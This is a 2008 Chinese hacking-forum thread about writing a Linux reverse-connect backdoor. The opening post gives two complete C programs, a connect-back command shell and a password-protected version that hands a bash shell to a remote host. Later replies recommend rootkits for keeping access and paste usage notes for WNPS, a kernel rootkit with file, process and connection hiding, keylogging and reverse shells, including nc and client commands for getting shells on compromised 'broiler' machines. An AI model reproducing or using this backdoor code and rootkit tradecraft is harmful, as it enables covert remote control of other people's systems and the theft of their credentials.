Board logo

标题: [讨论]Linux反弹马编写 [打印本页]

作者: valen886    时间: 2008-7-22 09:40     标题: [讨论]Linux反弹马编写

[讨论]Linux反弹马编写
文章作者:武夫

最近在检测一个Linux集群时需要用到Linux下的很多工具,这些以前都没收集注意过,今天由于某种原因急需一个反弹的cmdshell,百度上找了几个也没遇到好的.所以琢磨着自己写.由于本人以前从来没在Linux下进行过编程,所以开始偷懒,用C标准库的一个system()函数来实现这个功能.

代码如下:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <strings.h>

#include <netinet/in.h>
#include <sys/socket.h>

#define P0RT 1113

int main(int a, char **b)
{
        if(a<2) return 0;
        int c;
        char p[1024];
        char file[1800];
        char *welcome="Hello. Print \"EXIT\" command To Exit\n";
        char *banner1="\n**********  Result:  *************\n\n";
        char *banner2="\n**********    End    *************\n\n";
        char *banner3="CMD LINE:   " ;
        FILE *fp;
        struct sockaddr_in l;
        l.sin_family = AF_INET;
        l.sin_port = htons(P0RT);
        l.sin_addr.s_addr = inet_addr(b[1]);
         bzero(&(l.sin_zero), 8);
         c = socket(AF_INET, SOCK_STREAM, 0);
        while(connect(c,(struct sockaddr *) &l, sizeof(struct sockaddr))!=0)
        {
                if(a==3)
                {
                        sleep(atoi(b[2]));
                }
                else
                {
                        sleep(5);
                }
        }
        //Get Connected
        send(c , welcome , strlen(welcome) ,0);
        send(c , banner3 , strlen(banner3) , 0);
        recv(c , p , 1024 ,0) ;
        while(1)
        {        
                p[strlen(p)-1]='\0';        //Change 0x0D to 0x00
                if(strncasecmp(p , "EXIT" , strlen(p))==0) break;
                sprintf(p , "%s > /tmp/tmp.txt" ,p);
                system(p);
                send(c , banner1 , strlen(banner1) , 0);
                fp = fopen("/tmp/tmp.txt" , "r");
                if(fp==NULL)
                {
                        send(c , "No Input File\n" , 32 ,0);
                        continue;
                }
                else
                {
                        while(fgets(file , 1024 , fp))
                        {
                                send(c , file , strlen(file)+1 , 0);
                                fseek(fp , SEEK_SET , strlen(file)+1);
                        }
                }
                fclose(fp);
                system("rm -f /tmp/tmp.txt");
                send(c , banner2 , strlen(banner2) , 0);
                send(c , banner3 , strlen(banner3) , 0);
                memset(p , 0 , 1024);
                memset(file , 0 , 1800);
                recv(c , p , 1024 ,0);
        }
        close(c);
        return 0;
}

上面是通过输出到一个临时文件/tmp/tmp.txt来实现数据的返回输出的,但是这样明显的一个缺点就是一些命令根本返回不了结果.所以这个办法不可行.晚上我抽了点时间看了下我的C语言函数手册,了解到UNIX下的pipe函数可以建立匿名管道,但另外一个巧妙的方法就是用dup2()函数来实现输出输入句柄的复制.

所以将上面的代码改写如下:
复制内容到剪贴板
代码:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define P0RT 1113                //DEFAULT PORT . CAN BE CHANGED IN MAIN PARAMS
#define PASSWORD "hackwolf"        //PASSWORD FOR LOGIN

void usage()
{        
        printf("*****************************************\n");
        printf("\tUsage:./door RemoteIP [RemotePort] [Sleep]\n");
        printf("\tCoded By Hackwolf.\n");
        printf("\tTest Code For : forum.eviloctal.com\n\n");
        printf("*****************************************\n");
}


int main(int a, char **b)
{
        if(a<2)
        {
                usage();
                return 0;
        }
        int c , err=0;
        char p[1024];
        char *welcome="\n\nHello.Input Your Password Here^_^ : ";
        char *banner1="\n**********  Result:  *************\n\n";
        char *banner2="\n**********    End    *************\n\n";
        char *banner3="CMD LINE:   " ;
        char *banner4="****** ERROR PASSWORD.!!!!******\nReType Your Pass ~_~ :   ";
        char *suc="\n\nSuccess.You Can Type Command Below ^_^\n\n";
        FILE *fp;
        struct sockaddr_in l;
        l.sin_family = AF_INET;
        if(a==3)
        {
                l.sin_port = htons(atoi(b[2]));
        }
        else
                l.sin_port = htons(P0RT);
        l.sin_addr.s_addr = inet_addr(b[1]);
        bzero(&(l.sin_zero), 8);
switch(fork())
{case -1:exit(-1);
case 0:{
        c = socket(AF_INET, SOCK_STREAM, 0);
        //Get Remote Connected....
        while(connect(c,(struct sockaddr *) &l, sizeof(struct sockaddr))!=0)
        {
                if(a==4)
                {
                        sleep(atoi(b[3]));
                }
                else
                {
                        sleep(3);
                }
        }
        printf("Connect OK..");
        //Send Welcome MSG...
        send(c , welcome , strlen(welcome) ,0);
        recv(c , p , 1024 ,0) ;
        //Check PASSWORD
        while(1)
        {
                if(strncmp(p , PASSWORD , strlen(p)-1)!=0)
                {
                        send(c , banner4 , strlen(banner4) , 0);
                        err++;
                        recv(c , p , 1024 ,0);
                }
                else
                {
                        send(c , suc , strlen(suc) , 0);
                        break;
                }
                if(3==err) exit(1); //MAX Times of  ERROR PASSWORD.
        }
        //Close STDIN ,STDOUT ,STDERROR I/O.
        close(0);
        close(1);
        close(2);
        //Redirect STDIN , STDOUT , STDERROR to SOCKET c.
        dup2(c , 0);
        dup2(c , 1);
        dup2(c , 2);
        //Create A child Process.
        execl("/bin/bash" , "bash" , NULL);
        close(c);}
default:
{
printf("Connect OK\nWaiting Please...\n");
}
        return 0;
}
上面基本已经实现了cmdshell的基本功能了.但是出现了一个问题.就是:
结果的输入不能按我想要的格式进行输出.
如执行:ls
返回:cmd.php mmm

这样不利于数据的分析,所以想请教大家,怎么样将结果进行格式化输出,达到美观大方令人心旷神怡的样子..

问题有点白痴,高手们不要见笑.

PS:如果大家有比较好的Linux下的嗅探工具,麻烦给我份,谢谢!!
作者: 马桶    时间: 2008-7-22 09:40

呵呵,去把 netcat.c 下回来读一遍就好了。
帖子3923 精华128 积分209640 阅读权限200 性别男 在线时间1095 小时 注册时间2007-10-23 最后登录2008-7-18 查看详细资料引用 报告 回复 TOP 爱要怎么说出口

武夫
荣誉会员

作者: zhoupeng    时间: 2008-7-22 09:40

netcat.c也没有格式化输出的功能貌似?

我昨晚想了下,只要在客户端再写一个连接程序,就可以实现了.

但是我懒得写. 刚才改写了下程序,比较适合webshell下使用这个.
帖子18 精华0 积分3089 阅读权限100 性别男 在线时间12 小时 注册时间2006-7-11 最后登录2008-6-30 查看详细资料引用 报告 回复 TOP 软件项目外包

wzt
荣誉会员

作者: 叔伯同学    时间: 2008-7-22 09:40

如果用后门是为了提权的话,最好是写个带有伪终端功能的;如果是为了保持权限的话, 装rootkit比较合适些

帖子19 精华2 积分3263 阅读权限100 性别男 在线时间33 小时 注册时间2006-10-18 最后登录2008-7-13 查看个人网站
查看详细资料引用 报告 回复 TOP

westhack
晶莹剔透§烈日灼然
作者: 草莓妹    时间: 2008-7-22 09:40

楼上的wzt 写的wnps应该是个很好的工具
wnps-0.26-beta2精简测试版
WNPS 简介:
WNPS是一只工作在Linux 2.6.x平台下的rootkit+backdoor程序。
它的意思是wnps is not poc shell,我的意图在于将它设计成一个可用于实战的linux rootkit。
它最初的想法来自enyelkm,我对作者的开源精神深表感激。

开发平台:

2.6.9-5.EL

WNPS 功能特点:

-=-=精简测试版只有文件隐藏,目录隐藏,网络连接隐藏,后门伪终端,传输加密这几个最基本的功能-=-=

1、隐藏

   隐藏指定文件
   隐藏文件中特定的内容
   隐藏进程
   动态隐藏网络连接、进程-->用过sk的都知道什么是动态隐藏
   隐藏自身模块
   保护相关模块、进程、文件不被跟踪

2、内核反弹后门

   即使肉鸡没有开放任何TCP UDP端口并过滤icmp包,只要肉鸡让回连,我们就可以获得shell
   跨内核平台简易安装,拿着一个wnps.ko就可以管理所有2.6内核的机器,所有要做的事情只是执行insmod wnps.ko
   完美的伪终端支持,让你用起来更顺心
   可以设置定时自动回连,即使你的肉鸡在内网的深处,也不用担心她跑路

3、键盘记录功能
   想看看有没其他人在你的肉鸡里跳舞?这个是最好的办法,还可以通过键盘记录把别人的肉鸡给抢了,怎么抢,自己发挥想像空间吧。键盘记录功能对渗透和保护肉鸡都有相当重要的意义。键盘有两种模式,一个是密码模式,就是专门记录密码相关的了,只要触发了相关特征字符串,我们就记录下相应的内容,还有一个就是完全记录模式了,顾名思义了。

4、模块注射
   比adore-ng更稳定的模块注射方式

5、通讯加密

+----------------------------------------------------------------------------------------+

WNPS 用法:

服务端使用说明:

在安装之前,请先修改wnps目录下的config.h!!!

TCP_SHELL_KEY 表示要发送的主机密码,默认为@wztshell
HIDE_FILE     表示我们将隐藏以HIDE_FILE字符为前缀的文件
HIDE_TASK     表示我们将隐藏以HIDE_TASK字符为前缀的进程
HIDE_STR      表示我们将隐藏在文件中以HIDE_STR字符为前缀的字符串

HIDE_OPEN     表示我们将隐藏文件中位于HIDE_OPEN和HIDE_CLOSE之间的内容
HIDE_CLOSE

主机需要能够被安装模块以及提供内核源代码。

make;make install

+----------------------------------------------------------------------------------------+

客户端使用说明:

WNPS的客户端将被设计成可以工作在linux和win平台上使用。

1。即可以发送tcp数据报来激活shell,又能用nc来连接服务器的某一端口来发送密码,以及
反弹ip和port。

2。使用方法简单灵活

注意:如果要使用nc做客户端,请先修改服务端和客户端的config.h中的
      ENCRYPT 为0。也就是不支持传输加密的功能。
      
1).在windows平台下,可以用nc作为客户端,连接肉鸡任意开放的一个端口。

  比如:
  ./nc -vvlp 8899
  ./nc -vv target_ip 22 然后输入密码,反弹ip和port.即可在8899端口获得一个shell。

  (1).在本机的8899端口获得一个远程shell。
  @wztshell:5566
  
  (2).在192.168.75.128的5566端口获得一个远程shell。
  @wztshell:192.168.75.128:5566
  
2).在linux平台下,即可用nc作为客户端,又可采用自带的client作为客户端,并且允许发送
  tcp数据报来激活远程shell。
  
  ./client
  optinons:
  -tcp|packet [victim port] [connect back ip] [connect back port]
  -listen [port]
  
  -listen 在本地监听某一端口
  
  -tcp 发送tcp数据报,激活远程shell
   为远程服务器地址,必须填写这个参数。
  [victim port] 为远程服务器开放的端口,默认将会自动扫描常用开放的端口,在send.h里定义。
  [connect back ip] 为你要反弹回的主机地址,默认是本机公网ip地址,必须是可以让肉鸡能够回连的地址。
  [connect back port] 为你要反弹回的主机端口,默认为8899,在config.h里定义。
  
  +----------------------------------------------------------------------------+
  你可以很灵活的来使用WNPS的client。client默认的监听端口为8899,在client/config.h中设置
  设肉鸡ip为:192.168.75.130
  注意:如果是要在client端所在的主机上获得远程shell,无须使用-listen选项!
  
  (1).在本机的8899端口上获得一个远程shell。
  ./client -tcp 192.168.75.130

  (2).向肉鸡的22端口发送数据报,然后在本机的8899端口上获得一个远程shell。
  ./client -tcp 192.168.75.130 22
  
  (3).向肉鸡的22端口发送数据报,然后在本机的5566端口上获得一个远程shell。
  ./client -tcp 192.168.75.130 22 5566
  
  (4).在192.168.75.128的8899端口上获得一个远程shell。
  先在192.168.75.128上使用:
  ./client -listen
  
  然后在client所在的主机上使用:
  ./client -tcp 192.168.75.130 192.168.75.128
  
  (5).在192.168.75.128的5566端口上获得一个远程shell。
  ./client -listen 5566
  ./client -tcp 192.168.75.130 192.168.75.128 5566
  
  (6).向肉鸡的22端口发送数据报,然后在192.168.75.128的5566端口上获得一个远程shell。
  ./client -listen 5566
  ./client -tcp 192.168.75.130 22 192.168.75.128 5566
作者: 胡说八道    时间: 2008-7-22 09:40

回复 地板 westhack 的帖子
有代码么?或者给个下载地址谢谢
帖子18 精华0 积分3089 阅读权限100 性别男 在线时间12 小时 注册时间2006-7-11 最后登录2008-6-30 查看详细资料引用 报告 回复 TOP 良辰择日,预测咨询,公司改名,权威易经

westhack
晶莹剔透§烈日灼然
作者: katia2004    时间: 2008-7-22 09:40

http://www.cublog.cn/u/15780/showart.php?id=393234
到这里下载和获得帮助
帖子24 精华0 积分53 阅读权限40 在线时间18 小时 注册时间2006-9-29 最后登录2008-5-14 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味

武夫
荣誉会员

作者: powerfive    时间: 2008-7-22 09:40

谢谢
帖子18 精华0 积分3089 阅读权限100 性别男 在线时间12 小时 注册时间2006-7-11 最后登录2008-6-30 查看详细资料引用 报告 回复 TOP

stillr
晶莹剔透§烈日灼然
作者: 融化冰河    时间: 2008-7-22 09:40

execl("/bin/bash" , "bash" , NULL);
这是unix底下的调用哦 ...
用execlp函数把父进程的映像替换为命令 ls -1的进程映像,命令ls -1把管道的内容作 为输入
execlp(“ls”,”ls”,”-al”,”/etc/passwd”,(char *)0); .......
客户端再写一个连接程序是个不错的办法 .

帖子4 精华0 积分586 阅读权限50 在线时间10 小时 注册时间2007-3-31 最后登录2008-7-17 查看个人网站
查看详细资料引用 报告 回复 TOP

武夫
荣誉会员





欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2